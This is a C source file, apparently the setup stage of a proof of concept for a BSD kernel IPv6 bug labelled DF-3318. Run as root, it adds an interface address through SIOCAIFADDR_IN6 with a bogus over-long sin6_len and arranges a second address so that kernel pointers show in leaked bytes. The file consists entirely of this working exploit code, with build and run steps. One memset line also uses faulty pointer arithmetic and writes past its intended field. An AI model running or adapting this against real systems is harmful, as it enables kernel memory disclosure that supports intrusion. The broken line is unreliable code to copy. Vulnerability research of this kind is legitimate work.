DF-3318 / setup.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 | /* * DF-3318 setup: run as ROOT. * * Creates gif0 and adds an IPv6 address via SIOCAIFADDR_IN6 with an * over-long ifra_dstaddr.sin6_len (200). in6_update_ifa() copies the * whole sockaddr_in6 -- including the bogus sin6_len -- into * ia->ia_dstaddr (sys/netinet6/in6.c:1067). No validation of * ifra_dstaddr.sin6_len exists anywhere on this path. * * Build: cc -O -o setup setup.c * Run: ./setup (as root) */ #include <sys/param.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/sockio.h> #include <net/if.h> #include <net/if_dl.h> #include <netinet/in.h> #include <netinet6/in6_var.h> #include <stdio.h> #include <stdlib.h> #include <stddef.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <ifaddrs.h> #include <arpa/inet.h> static void hex(const void *p, size_t n) { const unsigned char *c = p; size_t i; for (i = 0; i < n; i++) { printf("%02x", c[i]); if ((i % 32) == 31 || i == n - 1) printf("\n"); else if ((i % 4) == 3) printf(" "); } } int main(int argc, char **argv) { struct ifreq ifr; struct in6_aliasreq ifra; struct ifaddrs *ifa, *ifap; int s, error; const char *ifname = (argc > 1) ? argv[1] : "gif0"; int badlen = (argc > 2) ? atoi(argv[2]) : 200; printf("sizeof(struct in6_aliasreq)=%zu " "offsetof(ifra_dstaddr)=%zu\n", sizeof(ifra), offsetof(struct in6_aliasreq, ifra_dstaddr)); s = socket(AF_INET6, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); exit(1); } /* create gif0 if needed */ memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name)); if (ioctl(s, SIOCGIFINDEX, &ifr) < 0) { memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name)); if (ioctl(s, SIOCIFCREATE, &ifr) < 0) { perror("SIOCIFCREATE (gif0)"); exit(1); } printf("created %s\n", ifname); } /* add 2001:db8::1/128 dst 2001:db8::2 with dstaddr.sin6_len = badlen */ memset(&ifra, 0, sizeof(ifra)); strlcpy(ifra.ifra_name, ifname, sizeof(ifra.ifra_name)); ifra.ifra_addr.sin6_len = sizeof(struct sockaddr_in6); ifra.ifra_addr.sin6_family = AF_INET6; inet_pton(AF_INET6, "2001:db8::1", &ifra.ifra_addr.sin6_addr); ifra.ifra_dstaddr.sin6_len = badlen; /* <-- BOGUS */ ifra.ifra_dstaddr.sin6_family = AF_INET6; inet_pton(AF_INET6, "2001:db8::2", &ifra.ifra_dstaddr.sin6_addr); ifra.ifra_prefixmask.sin6_len = sizeof(struct sockaddr_in6); ifra.ifra_prefixmask.sin6_family = AF_INET6; memset(&ifra.ifra_prefixmask.sin6_addr, 0xff, 16); /* /128 */ /* keep the address alive: infinite valid/preferred lifetimes */ ifra.ifra_lifetime.ia6t_vltime = 0xffffffff; /* ND6_INFINITE_LIFETIME */ ifra.ifra_lifetime.ia6t_pltime = 0xffffffff; error = ioctl(s, SIOCAIFADDR_IN6, &ifra); if (error < 0) { printf("SIOCAIFADDR_IN6 failed: %s\n", strerror(errno)); exit(1); } printf("SIOCAIFADDR_IN6: OK (dstaddr.sin6_len stored = %d)\n", badlen); if (getifaddrs(&ifap) == 0) { char buf[64]; for (ifa = ifap; ifa; ifa = ifa->ifa_next) { if (strcmp(ifa->ifa_name, ifname) || ifa->ifa_addr->sa_family != AF_INET6) continue; inet_ntop(AF_INET6, &((struct sockaddr_in6 *)ifa->ifa_addr)->sin6_addr, buf, sizeof(buf)); printf("gif0 now has %s/%d\n", buf, ((struct sockaddr_in6 *) ifa->ifa_netmask)->sin6_len); } freeifaddrs(ifap); } printf("state dump of ifra_dstaddr as sent:\n"); hex(&ifra.ifra_dstaddr, sizeof(ifra.ifra_dstaddr)); /* * Add one more address so that crafted_ia->ia_next != NULL * (global in6_ifaddr list) -- makes the pointer disclosure * directly visible in the leaked bytes. */ memset(&ifra, 0, sizeof(ifra)); strlcpy(ifra.ifra_name, ifname, sizeof(ifra.ifra_name)); ifra.ifra_addr.sin6_len = sizeof(struct sockaddr_in6); ifra.ifra_addr.sin6_family = AF_INET6; inet_pton(AF_INET6, "2001:db8::5", &ifra.ifra_addr.sin6_addr); ifra.ifra_prefixmask.sin6_len = sizeof(struct sockaddr_in6); ifra.ifra_prefixmask.sin6_family = AF_INET6; memset(&ifra.ifra_prefixmask.sin6_addr, 0xff, 8); /* /64 */ memset(&ifra.ifra_prefixmask.sin6_addr + 8, 0x00, 8); ifra.ifra_lifetime.ia6t_vltime = 0xffffffff; ifra.ifra_lifetime.ia6t_pltime = 0xffffffff; error = ioctl(s, SIOCAIFADDR_IN6, &ifra); if (error < 0) { printf("second SIOCAIFADDR_IN6 failed: %s\n", strerror(errno)); /* non-fatal: pointer leak just shows NULL ia_next */ } else printf("second address 2001:db8::5/64 added (ia_next != NULL)\n"); return (0); } |